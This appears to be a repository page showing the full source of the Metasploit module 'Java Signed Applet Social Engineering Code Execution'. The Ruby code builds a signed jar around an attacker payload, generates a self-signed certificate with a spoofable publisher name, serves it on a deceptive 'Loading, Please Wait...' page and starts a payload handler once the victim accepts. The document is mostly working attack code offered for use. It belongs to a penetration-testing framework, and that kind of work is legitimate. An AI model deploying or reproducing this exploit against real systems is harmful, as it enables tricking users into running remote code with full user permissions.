Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / multi / browser / java_signed_applet.rb @ master

History | View | Annotate | Download (8.8 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13
require 'rex'
14
require 'rex/zip'
15

    
16
class Metasploit3 < Msf::Exploit::Remote
17
        Rank = ExcellentRanking
18

    
19
        include Msf::Exploit::Remote::HttpServer::HTML
20
        include Msf::Exploit::EXE
21

    
22
        def initialize( info = {} )
23
                super( update_info( info,
24
                        'Name'          => 'Java Signed Applet Social Engineering Code Execution',
25
                        'Description'   => %q{
26
                                        This exploit dynamically creates a .jar file via the
27
                                Msf::Exploit::Java mixin, then signs the it.  The resulting
28
                                signed applet is presented to the victim via a web page with
29
                                an applet tag.  The victim's JVM will pop a dialog asking if
30
                                they trust the signed applet.
31

    
32
                                On older versions the dialog will display the value of CERTCN
33
                                in the "Publisher" line.  Newer JVMs display "UNKNOWN" when the
34
                                signature is not trusted (i.e., it's not signed by a trusted
35
                                CA).  The SigningCert option allows you to provide a trusted
36
                                code signing cert, the values in which will override CERTCN.
37
                                If SigningCert is not given, a randomly generated self-signed
38
                                cert will be used.
39

    
40
                                Either way, once the user clicks "run", the applet executes
41
                                with full user permissions.
42
                        },
43
                        'License'       => MSF_LICENSE,
44
                        'Author'        => [ 'natron' ],
45
                        'Version'       => '$Revision$',
46
                        'References'    =>
47
                                [
48
                                        [ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ],
49
                                        # list of trusted Certificate Authorities by java version
50
                                        [ 'URL', 'http://www.spikezilla-software.com/blog/?p=21' ]
51
                                ],
52
                        'Platform'      => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
53
                        'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
54
                        'Targets'       =>
55
                                [
56
                                        [ 'Generic (Java Payload)',
57
                                                {
58
                                                        'Platform' => ['java'],
59
                                                        'Arch' => ARCH_JAVA
60
                                                }
61
                                        ],
62
                                        [ 'Windows x86 (Native Payload)',
63
                                                {
64
                                                        'Platform' => 'win',
65
                                                        'Arch' => ARCH_X86,
66
                                                }
67
                                        ],
68
                                        [ 'Linux x86 (Native Payload)',
69
                                                {
70
                                                        'Platform' => 'linux',
71
                                                        'Arch' => ARCH_X86,
72
                                                }
73
                                        ],
74
                                        [ 'Mac OS X PPC (Native Payload)',
75
                                                {
76
                                                        'Platform' => 'osx',
77
                                                        'Arch' => ARCH_PPC,
78
                                                }
79
                                        ],
80
                                        [ 'Mac OS X x86 (Native Payload)',
81
                                                {
82
                                                        'Platform' => 'osx',
83
                                                        'Arch' => ARCH_X86,
84
                                                }
85
                                        ]
86
                                ],
87
                        'DefaultTarget'  => 1,
88
                        'DisclosureDate' => 'Feb 19 1997'
89
                ))
90

    
91
                register_options( [
92
                        OptString.new('CERTCN', [ true,
93
                                "The CN= value for the certificate. Cannot contain ',' or '/'",
94
                                "SiteLoader"
95
                                ]),
96
                        OptString.new('APPLETNAME', [ true,
97
                                "The main applet's class name.",
98
                                "SiteLoader"
99
                                ]),
100
                        OptPath.new('SigningCert', [ false,
101
                                "Path to a signing certificate in PEM or PKCS12 (.pfx) format"
102
                                ]),
103
                        OptPath.new('SigningKey', [ false,
104
                                "Path to a signing key in PEM format"
105
                                ]),
106
                        OptString.new('SigningKeyPass', [ false,
107
                                "Password for signing key (required if SigningCert is a .pfx)"
108
                                ]),
109
                ], self.class)
110
        end
111

    
112

    
113
        def setup
114
                load_cert
115
                load_applet_class
116
                super
117
        end
118

    
119

    
120
        def on_request_uri( cli, request )
121
                if not request.uri.match(/\.jar$/i)
122
                        if not request.uri.match(/\/$/)
123
                                send_redirect( cli, get_resource() + '/', '')
124
                                return
125
                        end
126

    
127
                        print_status( "Handling request" )
128

    
129
                        send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
130
                        return
131
                end
132

    
133
                p = regenerate_payload(cli)
134
                if not p
135
                        print_error("Failed to generate the payload.")
136
                        # Send them a 404 so the browser doesn't hang waiting for data
137
                        # that will never come.
138
                        send_not_found(cli)
139
                        return
140
                end
141

    
142
                # If we haven't returned yet, then this is a request for our applet
143
                # jar, build one for this victim.
144
                jar = p.encoded_jar
145

    
146
                jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)
147

    
148
                jar.build_manifest(:main_class => "metasploit.Payload")
149

    
150
                jar.sign(@key, @cert, @ca_certs)
151
                #File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
152

    
153
                print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")
154
                send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
155

    
156
                handler( cli )
157

    
158
        end
159

    
160

    
161
        def load_applet_class
162
                data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname)
163
                if datastore["APPLETNAME"]
164
                        unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
165
                                raise ArgumentError.new("APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")
166
                        end
167
                        siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
168
                        # Java strings are prefixed with a 2-byte, big endian length
169
                        find_me = ["SiteLoader".length].pack("n") + "SiteLoader"
170
                        idx = siteloader.index(find_me)
171
                        len = [datastore["APPLETNAME"].length].pack("n")
172
                        # Now replace it with the new class name
173
                        siteloader[idx, "SiteLoader".length+2] = len + datastore["APPLETNAME"]
174
                else
175
                        # Don't need to replace anything, just read it in
176
                        siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
177
                end
178
                @applet_class = siteloader
179
        end
180

    
181

    
182
        def load_cert
183
                if datastore["SigningCert"]
184
                        cert_str = File.open(datastore["SigningCert"], "rb") {|fd| fd.read(fd.stat.size) }
185
                        begin
186
                                pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
187
                                @cert = pfx.certificate
188
                                @key  = pfx.key
189
                                @ca_certs = pfx.ca_certs
190

    
191
                        rescue OpenSSL::PKCS12::PKCS12Error
192
                                # it wasn't pkcs12, try it as concatenated PEMs
193
                                certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
194
                                @cert = OpenSSL::X509::Certificate.new(certs.shift)
195
                                @ca_certs = nil
196
                                while certs.length > 0
197
                                        @ca_certs ||= []
198
                                        @ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
199
                                end
200

    
201
                                if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
202
                                        key_str = File.open(datastore["SigningKey"], "rb") {|fd| fd.read(fd.stat.size) }
203
                                else
204
                                        key_str = cert_str
205
                                end
206

    
207
                                # First try it as RSA and fallback to DSA if that doesn't work
208
                                begin
209
                                        @key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
210
                                rescue OpenSSL::PKey::RSAError => e
211
                                        @key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
212
                                end
213
                        end
214
                else
215
                        # Name.parse uses a simple regex that isn't smart enough to allow
216
                        # slashes or commas in values, just remove them.
217
                        certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
218
                        x509_name = OpenSSL::X509::Name.parse(
219
                                "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
220
                                )
221

    
222
                        @key  = OpenSSL::PKey::DSA.new(1024)
223
                        @cert = OpenSSL::X509::Certificate.new
224
                        @cert.version = 2
225
                        @cert.serial = 1
226
                        @cert.subject = x509_name
227
                        @cert.issuer = x509_name
228
                        @cert.public_key = @key.public_key
229
                        @cert.not_before = Time.now
230
                        @cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years
231
                end
232
        end
233

    
234

    
235
        def generate_html
236
                html  = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
237
                html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
238
                html << %Q|<applet archive="#{get_resource.sub(%r|/$|, '')}/#{datastore["APPLETNAME"]}.jar"\n|
239
                vprint_line(html)
240
                if @use_static
241
                        html << %Q|  code="SiteLoader" width="1" height="1">\n|
242
                else
243
                        html << %Q|  code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
244
                end
245
                html << %Q|</applet>\n</body></html>|
246
                return html
247
        end
248

    
249

    
250
        # Currently unused until we ship a java compiler of some sort
251
        def applet_code
252
                applet = <<-EOS
253
import java.applet.*;
254
import metasploit.*;
255

    
256
public class #{datastore["APPLETNAME"]} extends Applet {
257
        public void init() {
258
                try {
259
                        Payload.main(null);
260
                } catch (Exception ex) {
261
                        //ex.printStackTrace();
262
                }
263
        }
264
}
265
EOS
266
        end
267
end
268

    
269
=begin
270

    
271
The following stores a bunch of intermediate files on the path to creating the signature.  The
272
ImportKey class used for testing was obtained from:
273
http://www.agentbob.info/agentbob/79-AB.html
274

    
275
        system("rm -rf signed_crap/*")
276
        File.open("signed_crap/cert.pem", "wb")     { |f| f.write(@cert.to_s + @key.to_s) }
277
        File.open("signed_crap/key.pem",  "wb")     { |f| f.write(@key.to_s  + @key.public_key.to_s) }
278
        File.open("signed_crap/unsigned.jar", "wb") { |f| f.write jar.to_s }
279

    
280
        File.open("signed_crap/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }
281
        system("openssl x509 -in signed_crap/cert.pem -inform PEM -out signed_crap/cert.der -outform DER")
282
        system("openssl pkcs8 -topk8 -nocrypt -in signed_crap/key.pem -inform PEM -out signed_crap/key.der -outform DER")
283
        system("java -cp . ImportKey signed_crap/key.der signed_crap/cert.der")
284
        system("mv ~/keystore.ImportKey ~/.keystore")
285
        system("jarsigner -storepass importkey signed_crap/jarsigner-signed.jar importkey")
286

    
287
        jar.sign(@key, @cert)
288
        File.open("signed_crap/signed.jar", "wb")   { |f| f.write jar.to_s }
289

    
290
=end